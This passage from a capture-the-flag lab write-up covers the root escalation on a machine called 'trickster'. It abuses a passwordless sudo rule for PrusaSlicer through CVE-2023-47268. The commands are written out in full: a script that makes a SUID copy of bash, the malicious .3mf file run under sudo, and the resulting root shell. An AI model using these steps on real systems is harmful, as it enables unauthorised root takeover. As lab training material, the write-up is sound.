    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User adam may run the following commands on trickster:
    (ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer

We can execute PrusaSlicer with sudo.

Info
PrusaSlicer is the slicing software for Prusa 3D printers. It essentially ‘slices’ a 3D object into thin layers and a set of instructions which the 3D printer can then follow to print out your model.

Searching we find a vulnerability labeled as CVE-2023-47268 that allows command execution for PrusaSlicer. The problem is we need to install it into our attacker machine as is explained in this exploit-db exploit to create malicious files (with extension .3mf) for this tool.

As an alternative, we are also able to find this Github repository that will execute a script named /tmp/exploit.sh (with that absolute path). So download the file evil.3mf stored in the mentioned repository, pass it into the victim machine and create a file /tmp/exploit.sh with the content:

adam@trickster:~$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > /tmp/exploit.sh

adam@trickster:~$ chmod +x /tmp/exploit.sh

assigning to it execution permissions.

That is a simple Bash script that will create a copy of bash binary and, to that copy, assign SUID permissions.

Execute the downloaded payload with -s flag to load the payload:

adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer -s /tmp/evil.3mf

10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:

EXPLOIT
Low bed adhesion

Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to /tmp/EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode
Slicing result exported to /tmp/EXPLOIT_0.3mm_ABS_MK4_6m.gcode

If we check /tmp directory our file is there:

adam@trickster:~$ ls -la /tmp

total 2140
drwxrwxrwt 19 root   root      4096 Nov  9 08:04 .
drwxr-xr-x 20 root   root      4096 Sep 13 12:24 ..
drwxrwxr-x  2 james  james     4096 Aug 31 08:50 b4a8b52d-651b-44bc-bbc6-f9e8c6590103
drwxrwxr-x  3 james  james     4096 Nov  9 07:18 backup_1
drwxrwxr-x  4 james  james     4096 Nov  9 07:18 backup_2
<SNIP>
-rwsr-xr-x  1 root   root   1396520 Nov  9 08:04 gunzf0x
<SNIP>

and use it to become root user:

adam@trickster:~$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami
root

GG. We can read the root flag at /root directory.

~Happy Hacking.